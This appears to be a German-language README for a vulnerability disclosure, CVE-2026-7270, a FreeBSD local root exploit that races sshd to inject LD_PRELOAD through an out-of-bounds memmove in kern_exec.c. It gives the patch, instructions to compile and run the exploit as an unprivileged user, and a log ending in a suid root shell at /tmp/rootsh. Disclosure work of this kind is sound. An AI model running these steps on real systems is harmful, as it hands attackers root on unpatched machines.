
CVE-2026-7270 Lokale Privilegieneskalation in FreeBSD über exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD lokale Privilege-Eskalation durch exec_args_adjust_args OOB-memmove
Ein Operator-Präzedenz-Fehler in exec_args_adjust_args() (sys/kern/kern_exec.c, seit 2013 vorhanden) erlaubt jedem lokalen Benutzer, auf einer Standard-FreeBSD-Installation mit laufendem sshd Root-Rechte zu erlangen. Keine suid-Binaries, keine Kernel-Module, keine Konfigurationsänderungen erforderlich.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* FEHLER: + sollte - sein */
+ consume sollte - consume sein. Das falsche Vorzeichen bewirkt, dass das memmove 2 * consume Bytes kopiert, statt der korrekten endp - begin_argv - consume. Mit einem 265.185 Byte großen argv[0] in einem Shebang-Exec läuft das memmove um 2.024 Bytes über den 528.384 Byte großen exec_map-Eintrag in den angrenzenden Eintrag über — kein Absturz, kein Signal, kein Seitenfehler.
Der Exploit konkurriert mit dem OOB-memmove gegen sshds fork/execv bei eingehenden TCP-Verbindungen. sshd-session wird root-zu-root ohne suid/sgid-Übergang ausgeführt, sodass issetugid() 0 zurückgibt und der Runtime-Linker LD_PRELOAD berücksichtigt. Der Exploit platziert LD_PRELOAD=/tmp/evil.so im exec_map-Eintrag von sshd-session; der evil.so-Konstruktor läuft als uid=0 und hinterlässt eine suid-Root-Shell unter /tmp/rootsh.
Root in Runde 5.030 erlangt, ~6 Sekunden nach dem Start auf einer 4-CPU-VM.
| Betroffene Versionen | FreeBSD 11.0 bis 14.4 (alle Releases; zum Zeitpunkt der Offenlegung in keinem Branch behoben) |
| Voraussetzungen | Lokale Shell ohne Privilegien; sshd läuft (Standard auf FreeBSD) |
| Zuverlässigkeit | ~0,6 % Trefferquote pro Runde; Root in Sekunden auf einem 4-CPU-System |
| Getestet | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC-Kernel, 4 CPUs, 2 GB RAM |
Ein Zeichen in sys/kern/kern_exec.c ändern:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
| Datei | Beschreibung |
|---|---|
exec1_lpe21.c | Eigenständiger Exploit — als Benutzer ohne Privilegien kompilieren und ausführen |
run_poc.sh | QEMU-Automatisierung: bootet FreeBSD 14.4, kompiliert und führt den Exploit aus |
WRITEUP.md | Vollständige technische Dokumentation: Fehleranalyse, Exploit-Architektur, Entwicklungsgeschichte |
blog.md | Erzählender Bericht über Entdeckung und Exploit-Entwicklung |
images/ | SVG-Diagramme: exec_map-Layout, Selbstkopier-Mechanismus, vollständige Angriffsübersicht |
Auf einem FreeBSD-14.4-Zielsystem, als beliebiger Benutzer ohne Privilegien:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... ein paar Sekunden ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Unter QEMU (macOS-Host, erfordert qemu und sshpass):
./run_poc.sh # bootet VM, kompiliert, führt Exploit aus
./run_poc.sh run # erneut gegen bereits laufende VM ausführen
./run_poc.sh clean # VM-Artefakte entfernen
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...